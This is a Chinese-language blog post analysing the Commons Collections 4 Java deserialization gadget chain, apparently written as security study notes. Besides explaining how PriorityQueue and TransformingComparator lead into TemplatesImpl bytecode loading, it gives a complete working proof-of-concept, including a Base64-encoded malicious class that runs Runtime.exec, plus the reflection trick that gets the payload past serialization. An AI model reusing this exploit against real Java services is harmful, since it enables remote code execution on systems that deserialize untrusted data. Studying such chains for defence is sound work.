[Java反序列化]—CommonsCollections4
创始人
2024-02-17 19:56:21

0x01:

这条链子 前半段跟CC3 一样 ,都是动态加载字节码的过程,后边的构造用到了两个类,PriorityQueueTransformingComparator

    Gadget chain:ObjectInputStream.readObject()PriorityQueue.readObject()...TransformingComparator.compare()InstantiaterTransformer.transform()TrAXFilter.TrAXfilterMethod.invoke()Runtime.exec()

链子:


#class PriorityQueue
PriorityQueue.readObject -> heapify()heapify() -> siftDown()siftDown() ->  siftDownComparator()siftDownComparator() ->  comparator.compare(); #com[arator 可控 = TransformingComparator#class TransformingComparator
compare()  ->  transformer.transform() # transformer可控 = InstantiateTransformer接上CC3的链子简化就是 PriorityQueue类 -> TransformingComparator 类 -> CC3

完整流程 

 

PriorityQueue

先看看需要用到的PriorityQueue 类。

PriorityQueue()使用默认的初始容量(11)创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
PriorityQueue(int initialCapacity)使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。

本篇主要用的到方法,add(E e):将指定的元素插入此优先级队列
 

测试代码:

package CommonsCollections4;import java.util.PriorityQueue;public class Test {public static void main(String[] args) throws Exception {PriorityQueue priorityQueue=new PriorityQueue(2);priorityQueue.add(4);priorityQueue.add(3);priorityQueue.add(2);priorityQueue.add(1); //add()添加指定元素到队列System.out.println(priorityQueue);System.out.println(priorityQueue.poll()); //poll获取队列的头}}

大概就是入队的添加,poll() 获取队头,之所以用他,是因为他重写了自己的readObject()方法

分析

private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {// Read in size, and any hidden stuffs.defaultReadObject();// Read in (and discard) array lengths.readInt();queue = new Object[size];// Read in all elements.for (int i = 0; i < size; i++)queue[i] = s.readObject();// Elements are guaranteed to be in "proper order", but the// spec has never explained what that might be.heapify();
}

最后调用了 heapify();

private void heapify() {for (int i = (size >>> 1) - 1; i >= 0; i--)siftDown(i, (E) queue[i]);
}

接着调用siftDown()

private void siftDown(int k, E x) {if (comparator != null)siftDownUsingComparator(k, x);elsesiftDownComparable(k, x);
}

当comparator不为null时调用siftDownUsingComparator()

private void siftDownUsingComparator(int k, E x) {int half = size >>> 1;while (k < half) {int child = (k << 1) + 1;Object c = queue[child];int right = child + 1;if (right < size &&comparator.compare((E) c, (E) queue[right]) > 0)c = queue[child = right];if (comparator.compare(x, (E) c) <= 0)break;queue[k] = c;k = child;}queue[k] = x;
}

最后调用comparator.compare(),而comparator在本类的构造方法中可控,所以关键就在于调用谁的compare()

public PriorityQueue(Comparator comparator) {this(DEFAULT_INITIAL_CAPACITY, comparator);
}public PriorityQueue(int initialCapacity,Comparator comparator) {// Note: This restriction of at least one is not actually needed,// but continues for 1.5 compatibilityif (initialCapacity < 1)throw new IllegalArgumentException();this.queue = new Object[initialCapacity];this.comparator = comparator;
}

TransformingComparator

这里用到的是 TransformingComparator 类,在该类中发现compare(),并且调用transform()方法,后边的就跟之前都一样了

public int compare(final I obj1, final I obj2) {final O value1 = this.transformer.transform(obj1);final O value2 = this.transformer.transform(obj2);return this.decorated.compare(value1, value2);
}

这个类 在CC3 版本是无法使用的,因为CC4 才继承了serialize接口。

//CC 3.2.1
public class TransformingComparator implements Comparator {
//CC 4.0
public class TransformingComparator implements Comparator, Serializable {

分析分析

后边跟CC3 一样  直接贴过来

public static void main(String[] args) throws Exception {Templates templates = new TemplatesImpl();byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");setFieldValue(templates,"_name","snowy");setFieldValue(templates,"_bytecodes",new byte[][]{bytes});Transformer[] transformers=new Transformer[]{new ConstantTransformer(TrAXFilter.class), //将对象返回new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})};ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
}

在执行到 compare() 的时候,他执行的是  this.transformer的transform(obj1)方法

final O value1 = this.transformer.transform(obj1);

所以我们需要构造  this.transformer=chainedTransformer :

也就是: chainedTransformer.transformer(obj1);

构造器:

需要传Transformer的子对象 ,刚好 chainedTransformer就是其子对象

构造:

TransformingComparator transformingComparator=new TransformingComparator(chainedTransformer);

链子就接上了,我们已经接上了后半段的地方:

 而 PriorityQueue 中需要调用 comparator.compare() ,所以 这里的comparator需要是TransformingComparator才能接上,

看到PriorityQueue的构造方法 也是可以直接传的。

构造器控制一下 comparator的值为 comparator=TransformingComparator类  构造一下:

PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);

但是不能反序列化成功,原因有两个,我们打断点调试下

原因其一在这个地方:

 这里会进行i = (size >>> 1) -1,只有当(size >>> 1) -1>=0时本轮循环才会执行调用siftDown()

这里可以运行下

只有2右移时才会 i >=0 进入 siftDown()

java中有三种移位运算符

<< : 左移运算符,num << 1,相当于num乘以2

>> : 右移运算符,num >> 1,相当于num除以2

>>> : 无符号右移,忽略符号位,空位都以0补齐

 所以这里size至少为2时,经过右移操作后才能等于1,经过1-1之后i的值才能等于0从而进入循环,所以这里就要为size添加两个值

priorityQueue.add(1);
priorityQueue.add(2);

添加完后 执行一下

 报错

原因是

public boolean add(E e) {return offer(e);
}

在add()中会调用offer()

public boolean offer(E e) {if (e == null)throw new NullPointerException();modCount++;int i = size;if (i >= queue.length)grow(i + 1);size = i + 1;if (i == 0)queue[0] = e;elsesiftUp(i, e);return true;
}

而在offer() 中调用了siftUp() ,接着就一串 siftUpUsingComparator()->siftUpUsingComparator()->compare()......,

就在序列化时执行执行了,而这里的并没有执行,因为少了这里:

setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

之前cc3中把他去掉了  ,因为在执行readObject时,会默认初始化,但在这里想通过序列化触发的话,就要加上这条。接着回到刚才的问题,想让他在反序列化前不执行,就需要将transformingComparator的值修改为一个没用的值,绕过调用

TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));

之后再在add()方法执行结束后,通过反射将transformingComparator修改回来

Class c=transformingComparator.getClass();
Field transformField=c.getDeclaredField("transformer");
transformField.setAccessible(true);
transformField.set(transformingComparator,chainedTransformer);

POC:

package CommonsCollections4;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;import java.util.Base64;
import java.util.PriorityQueue;public class cc4 {public static void main(String[] args) throws Exception {Templates templates = new TemplatesImpl();byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");setFieldValue(templates,"_name","Sentiment");setFieldValue(templates,"_bytecodes",new byte[][]{bytes});Transformer[] transformers=new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})};ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);priorityQueue.add(1);priorityQueue.add(0);Class c=transformingComparator.getClass();Field transformField=c.getDeclaredField("transformer");transformField.setAccessible(true);transformField.set(transformingComparator,chainedTransformer);serialize(priorityQueue);unserialize("1.txt");}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj,value);}public static void serialize(Object obj) throws IOException {ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));out.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));Object o = In.readObject();return o;}}

相关内容

热门资讯

埃菲尔铁塔在哪 中国仿建埃菲尔... 2019年4月26日,广西南宁市,街头惊现一座巨型山寨版埃菲尔铁塔,高约20米,白色塔身,造型逼真,...
苗族的传统节日 贵州苗族节日有... 【岜沙苗族芦笙节】岜沙,苗语叫“分送”,距从江县城7.5公里,是世界上最崇拜树木并以树为神的枪手部落...
北京的名胜古迹 北京最著名的景... 北京从元代开始,逐渐走上帝国首都的道路,先是成为大辽朝五大首都之一的南京城,随着金灭辽,金代从海陵王...
应用未安装解决办法 平板应用未... ---IT小技术,每天Get一个小技能!一、前言描述苹果IPad2居然不能安装怎么办?与此IPad不...
脚上的穴位图 脚面经络图对应的... 人体穴位作用图解大全更清晰直观的标注了各个人体穴位的作用,包括头部穴位图、胸部穴位图、背部穴位图、胳...
长白山自助游攻略 吉林长白山游... 昨天介绍了西坡的景点详细请看链接:一个人的旅行,据说能看到长白山天池全凭运气,您的运气如何?今日介绍...
demo什么意思 demo版本... 618快到了,各位的小金库大概也在准备开闸放水了吧。没有小金库的,也该向老婆撒娇卖萌服个软了,一切只...
猫咪吃了塑料袋怎么办 猫咪误食... 你知道吗?塑料袋放久了会长猫哦!要说猫咪对塑料袋的喜爱程度完完全全可以媲美纸箱家里只要一有塑料袋的响...
世界上最漂亮的人 世界上最漂亮... 此前在某网上,选出了全球265万颜值姣好的女性。从这些数量庞大的女性群体中,人们投票选出了心目中最美...
埃菲尔铁塔在哪 中国仿建埃菲尔... 2019年4月26日,广西南宁市,街头惊现一座巨型山寨版埃菲尔铁塔,高约20米,白色塔身,造型逼真,...
苗族的传统节日 贵州苗族节日有... 【岜沙苗族芦笙节】岜沙,苗语叫“分送”,距从江县城7.5公里,是世界上最崇拜树木并以树为神的枪手部落...
北京的名胜古迹 北京最著名的景... 北京从元代开始,逐渐走上帝国首都的道路,先是成为大辽朝五大首都之一的南京城,随着金灭辽,金代从海陵王...
长白山自助游攻略 吉林长白山游... 昨天介绍了西坡的景点详细请看链接:一个人的旅行,据说能看到长白山天池全凭运气,您的运气如何?今日介绍...